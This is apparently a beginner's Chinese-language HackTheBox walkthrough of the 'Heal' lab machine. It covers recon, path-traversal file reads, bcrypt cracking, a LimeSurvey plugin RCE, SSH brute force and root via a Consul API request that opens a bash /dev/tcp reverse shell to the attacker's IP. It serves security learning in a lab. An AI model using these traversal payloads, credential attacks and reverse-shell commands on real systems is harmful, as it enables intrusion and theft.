找回密码
 立即注册
首页 业界区 科技 [HTB] 靶机学习(一)Heal

[HTB] 靶机学习(一)Heal

祺簇 昨天 22:04
[HTB] 靶机学习(一)Heal

1.png

概要

学习hackthebox的第一天,本人为初学者,将以初学者的角度对靶机渗透进行学习,中途可能会插入一些跟实操关系不大的相关新概念的学习和解释,尽量做到详细,不跳步,所以也会有理解不正确的地方,欢迎大佬们提出指正
信息收集

端口扫描

由于可能是网络问题,扫描全端口很慢,所以用-F扫描top100端口,-sC表示使用nmap默认脚本扫描,-sV表示探测服务版本信息
  1. nmap -sC -sV -F 10.10.11.46
复制代码
  1. Starting Nmap 7.94 ( https://nmap.org ) at 2025-05-01 11:05 CST
  2. RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
  3. RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
  4. RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
  5. RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
  6. Nmap scan report for 10.10.11.46
  7. Host is up (3.5s latency).
  8. Not shown: 95 closed tcp ports (reset)
  9. PORT    STATE    SERVICE    VERSION
  10. 22/tcp  open     ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
  11. | ssh-hostkey:
  12. |   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
  13. |_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
  14. 25/tcp  open     tcpwrapped
  15. |_smtp-commands: Couldn't establish connection on port 25
  16. 80/tcp  open     http       nginx 1.18.0 (Ubuntu)
  17. |_http-title: Did not follow redirect to http://heal.htb/
  18. |_http-server-header: nginx/1.18.0 (Ubuntu)
  19. 110/tcp open     tcpwrapped
  20. 514/tcp filtered shell
  21. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
复制代码
可以看到,开放了22,25,80,110,514端口
先看看80端口的,注意到标题Did not follow redirect to http://heal.htb/,无法重定向,所以先改一下hosts文件并访问网站
2.png

子域名爆破

模糊测试HOST头部,匹配200状态码
  1. ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200 -u http://heal.htb -H "Host: FUZZ.heal.htb"
复制代码
-w:设置字典
-mc:匹配http状态码
-H:匹配http头部
发现api.heal.htb子域名
3.png

添加子域名并访问网站
  1. echo '10.10.11.46 api.heal.htb' >> /etc/hosts
复制代码
4.png

目录爆破
  1. gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-small.txt -u http://heal.htb -t 50
复制代码
发现survey路由,访问http://heal.htb/survey
5.png

点击参与调查,跳转到新的子域名http://take-survey.heal.htb,显示无法使用此页面,需要添加到hosts文件
6.png

得到用户名ralph
7.png

子域名目录爆破
  1. dirsearch -u "http://take-survey.heal.htb/index.php/" -i 200,302
复制代码
因为503太多了,选择-i 只匹配200,302
8.png

有多个302跳转,访问http://take-survey.heal.htb/index.php/admin/authentication/sa/login
9.png

差不多收集完了,从头开始看看
漏洞利用

目录遍历

回到http://heal.htb,注册一个看看,随便填
注册完划到最下面
点击导出pdf,抓包
10.png

放行到第三个包
11.png

发现了filename参数,试试能不能利用目录遍历来读取敏感文件
  1. GET /download?filename=../../../../../etc/passwd
复制代码
找到两个/bin/bash登录用户,ralph和ron
12.png

再看看第一个获取到的子域名http://api.heal.htb
13.png

看看ruby by rails有没有什么敏感文件,然后利用目录遍历读取出来,经过搜索,发现有数据库相关的配置文件
14.png

依旧是尝试一个个添加../
  1. GET /download?filename=../../config/database.yml
复制代码
15.png

发现了数据库文件,读取看看
  1. GET /download?filename=../../storage/development.sqlite3 HTTP/1.1
复制代码
16.png

哈希爆破

$2a$开头,为bcrypt类型的hash,所以指定-m 3200
  1. hashcat -m 3200 '$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG' /usr/share/wordlists/rockyou.txt
复制代码
得到明文147258369
  1. $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG:147258369
  2.                                                          
  3. Session..........: hashcat
  4. Status...........: Cracked
复制代码
尝试ssh登录,密码错误,看来不是用来登录ssh的密码
  1. └─# ssh ralph@10.10.11.46      
复制代码
17.png

回想到刚才有个登录界面,用ralph/147258369登录看看,语言选择中文
http://take-survey.heal.htb/index.php/admin/authentication/sa/login
18.png

limesurvey 6.6.4 rce

(https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE)
下载上述网址的zip
修改revshell.php的ip和端口,我的是kali的ip
19.png

将修改后的revshell.php和config.xml打包成zip
选择配置-》插件
20.png

选择上传并安装,上传刚刚的zip文件
21.png

上传zip
22.png

选择安装
23.png

可以在第二页看到我们刚刚安装的插件
24.png

激活插件
25.png

得到插件的id是21
26.png

修改插件id
27.png
  1. python exploit.py http://take-survey.heal.htb ralph 147258369 80
复制代码
28.png

在kali上反弹shell成功
29.png

升级为交互式shell
  1. python3 -c "import pty;pty.spawn('/bin/bash')"
复制代码
30.png

www-data权限还是比较低的,看看有没有什么敏感文件,比如数据库文件,网站配置文件等
  1. find /var/www/ -type f -name '*config*' 2>/dev/null -print0 | xargs -0 grep -i 'pass'
复制代码
  1. find /var/www/ -type f -name '*config*':找到/var/www目录的文件名中带有config的普通文件
  2. 2>/dev/null:错误重定向,隐藏错误输出
  3. -print0:每个匹配的文件用 null 字符(\0) 结尾输出,用于防止文件名中含有空格、换行、特殊字符造成问题。
  4. xargs:接收前面 find 命令输出的文件路径,并一批一批地传递给下一个命令(即 grep)执行。
  5. -0:告诉 xargs 以 null 字符(而不是空格或换行)分隔输入,与 -print0 配合,防止路径中有空格出错。
  6. grep -i:不区分大小写,逐行查找关键字
复制代码
找到一个密码AdmiDi0_pA$$w0rd
31.png

将收集到的密码写到pass,用户名写到user
32.png

ssh爆破

使用msf爆破ssh
  1. msfconsole
  2. set RHOSTS 10.10.11.46
  3. set PASS_FILE /root/pass
  4. set USER_FILE /root/user
  5. run
复制代码
33.png

得到用户名和密码ron:AdmiDi0_pA$$w0rd,ssh登录得到第一个flag
34.png

权限提升

ssh端口转发

查看端口开放
  1. ss -tuln
复制代码
35.png

由于虚拟机网络问题,抽风了,连接很慢,且都是在127.0.0.1上的内网服务,正常是无法访问的,需要端口转发,改用本机的mobaxterm进行端口转发,经过尝试,3000是最开始的heal.htb,其他端口没什么有用的,基本没有实际服务,只有8500端口看起来比较有用,
打开mobaxterm内置的终端
36.png
  1. ssh -L 8500:127.0.0.1:8500 ron@heal.htb
复制代码
  1. 冒号前面是本地端口,冒号后面是远程服务器的端口,也就是10.10.11.46上的内网服务
  2. ssh -L :本地端口转发,用ssh连接建立ssh隧道,当访问本地的8500端口时,通过ssh隧道转发到heal.htb上的8500端口,相当于本地通过ssh隧道访问heal.htb的内网服务
复制代码
37.png

本机访问http://127.0.01:8500,找到了版本号Consul v1.19.2,查一下有没有漏洞
38.png

Hashicorp Consul v1.0 RCE

发现有rce漏洞
参考https://blog.csdn.net/lhh134/article/details/135673444
访问http://127.0.0.1:8500/v1/agent/self
查找EnableRemoteScriptChecks,为true,大概是有漏洞的
39.png

poc似乎有点问题,Request decode failed: json: unknown field "script"
40.png

后来又找到另一个
https://www.exploit-db.com/exploits/51117
41.png

发现这里没有写script键值对,删除试试,回显200,接着访问http://127.0.0.1:8500/ui/server1/nodes/consul-01/health-checks,发现是root用户
  1. PUT /v1/agent/service/register HTTP/1.1
  2. Host: 127.0.0.1:8500
  3. Cache-Control: max-age=0
  4. Upgrade-Insecure-Requests: 1
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64)
  6. X-Consul-Token:
  7. Content-type: application/json
  8. Connection: close
  9. Content-Length: 246
  10. {
  11.     "ID": "bpPeMfZuAN",
  12.     "Name": "bpPeMfZuAN",
  13.     "Address":"127.0.0.1",
  14.     "Port":80,
  15.     "check":{
  16.                 "Args": ["sh", "-c","whoami"],
  17.                 "interval":"10s",
  18.                 "Timeout":"86400s"
  19.     }
  20. }
复制代码
42.png

反弹shell(root)
  1. PUT /v1/agent/service/register HTTP/1.1
  2. Host: 127.0.0.1:8500
  3. Cache-Control: max-age=0
  4. Upgrade-Insecure-Requests: 1
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64)
  6. X-Consul-Token:
  7. Content-type: application/json
  8. Connection: close
  9. Content-Length: 295
  10. {
  11.     "ID": "bpPeMfZuAN",
  12.     "Name": "bpPeMfZuAN",
  13.     "Address":"127.0.0.1",
  14.     "Port":80,
  15.     "check":{
  16.       
  17.             "Args": ["/bin/bash", "-c","/bin/bash -i >& /dev/tcp/10.10.14.29/1234 0>&1"],
  18.                 "interval":"10s",
  19.                 "Timeout":"86400s"
  20.     }
  21. }
复制代码
先在kali监听1234端口,发送请求包
43.png

在root目录的root.txt找到第二个flag
44.png


来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
您需要登录后才可以回帖 登录 | 立即注册